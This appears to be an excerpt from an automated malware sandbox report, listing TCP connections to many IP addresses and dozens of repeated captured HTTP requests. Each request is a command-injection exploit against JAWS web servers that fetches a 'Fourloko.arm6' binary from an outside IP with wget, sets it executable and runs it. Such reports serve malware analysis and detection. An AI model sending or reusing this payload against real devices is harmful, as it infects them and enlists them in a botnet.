Source: unknown	TCP traffic detected without corresponding DNS query: 187.30.82.237
Source: unknown	TCP traffic detected without corresponding DNS query: 23.224.65.86
Source: unknown	TCP traffic detected without corresponding DNS query: 198.206.109.28
Source: unknown	TCP traffic detected without corresponding DNS query: 120.13.77.178
Source: unknown	TCP traffic detected without corresponding DNS query: 109.228.22.34
Source: unknown	TCP traffic detected without corresponding DNS query: 112.101.103.97
Source: unknown	TCP traffic detected without corresponding DNS query: 147.192.60.177
Source: unknown	TCP traffic detected without corresponding DNS query: 82.120.66.187
Source: unknown	TCP traffic detected without corresponding DNS query: 135.29.54.171
Source: unknown	TCP traffic detected without corresponding DNS query: 126.228.13.150
Source: unknown	TCP traffic detected without corresponding DNS query: 77.147.217.125
Source: unknown	TCP traffic detected without corresponding DNS query: 1.226.55.214
Source: unknown	TCP traffic detected without corresponding DNS query: 133.150.192.103
Source: unknown	TCP traffic detected without corresponding DNS query: 170.5.215.105
Source: unknown	TCP traffic detected without corresponding DNS query: 69.124.77.13

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: JAWS/1.0 Jan 21 2017Content-Type: text/html; charset=UTF-8Content-length: 213
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: JAWS/1.0 Sep 18 2018Content-Type: text/html; charset=UTF-8Content-length: 213

Source: 1xtO9V8ku8

String found in binary or memory: http://upx.sf.net

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
